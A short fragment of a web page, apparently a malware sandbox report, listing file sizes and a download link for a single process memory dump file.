                                                                                                                                                              Filesize

                                                                                                                                                              44.0MB

                                                                                                                                                              Download
                                                                                                                                                            • memory/5972-1045-0x000000006A9B0000-0x000000006BD33000-memory.dmp
                                                                                                                                                              Filesize

                                                                                                                                                              19.5MB

                                                                                                                                                              Download